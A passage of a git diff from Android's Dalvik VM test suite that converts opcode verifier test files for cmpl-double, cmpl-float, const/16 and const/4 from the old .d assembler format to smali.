-       cmpl-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.smali
new file mode 100644
index 0000000..1a49b45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_6.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 16
+       move v0, v14
+       move v1, v14
+       move v2, v15
+       move v3, v15
+
+       cmpl-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.d
deleted file mode 100644
index 48f14e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_1.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpl-float v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.smali
new file mode 100644
index 0000000..f0c22af
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_1.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpl-float v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.d
deleted file mode 100644
index 67ed903..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_2.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       const-wide v1, 3.1414
-       cmpl-float v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.smali
new file mode 100644
index 0000000..2c460ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_2.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 3.1414
+       cmpl-float v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.d
deleted file mode 100644
index b43f114..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_3.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       const-wide v1, 234234
-       cmpl-float v0, v1, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.smali
new file mode 100644
index 0000000..5802686
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_3.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 234234
+       cmpl-float v0, v1, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.d
deleted file mode 100644
index a4aa08e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_4.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpl-float v0, v6, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.smali
new file mode 100644
index 0000000..d63cd04
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_4.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpl-float v0, v6, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.d
deleted file mode 100644
index d496c11..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_5.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 9
-       cmpl-float v0, v9, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.smali
new file mode 100644
index 0000000..1aed194
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_5.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpl-float v0, v9, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.d
deleted file mode 100644
index 05a9e62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_cmpl_float_6.java
-.class public dot.junit.opcodes.cmpl_float.d.T_cmpl_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 9
-       cmpl-float v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.smali
new file mode 100644
index 0000000..b0cad4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_6.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 9
+       cmpl-float v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.d
deleted file mode 100644
index 6078e06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_16_1.java
-.class public dot.junit.opcodes.const_16.d.T_const_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 255
-
-       const/16 v254, -20000
-       return v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.smali
new file mode 100644
index 0000000..6468569
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_16_1.java"
+.class  public Ldot/junit/opcodes/const_16/d/T_const_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 255
+
+       const/16 v254, -20000
+       return v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.d
deleted file mode 100644
index 4e0bfa7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_16_3.java
-.class public dot.junit.opcodes.const_16.d.T_const_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.smali
new file mode 100644
index 0000000..c424437
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_16_3.java"
+.class  public Ldot/junit/opcodes/const_16/d/T_const_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.d
deleted file mode 100644
index 4040879..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_16_4.java
-.class public dot.junit.opcodes.const_16.d.T_const_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const/16 v1, 1234
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.smali
new file mode 100644
index 0000000..f1327ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_16_4.java"
+.class  public Ldot/junit/opcodes/const_16/d/T_const_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const/16 v1, 1234
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.d
deleted file mode 100644
index 77c522e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_4_1.java
-.class public dot.junit.opcodes.const_4.d.T_const_4_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 16
-
-       const/4 v15, -4
-       return v15
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.smali
new file mode 100644
index 0000000..fc12cbf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_4_1.java"
+.class  public Ldot/junit/opcodes/const_4/d/T_const_4_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 16
+
+       const/4 v15, -4
+       return v15
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.d
deleted file mode 100644
index d435f16..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_4_3.java
-.class public dot.junit.opcodes.const_4.d.T_const_4_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/4 v3, 1
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.smali
new file mode 100644
index 0000000..7eafb5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_4_3.java"
+.class  public Ldot/junit/opcodes/const_4/d/T_const_4_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/4 v3, 1
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.d
deleted file mode 100644
index 5ca94d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_4_4.java
-.class public dot.junit.opcodes.const_4.d.T_const_4_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const/4 v1, 2
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.smali
new file mode 100644
index 0000000..187d615
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
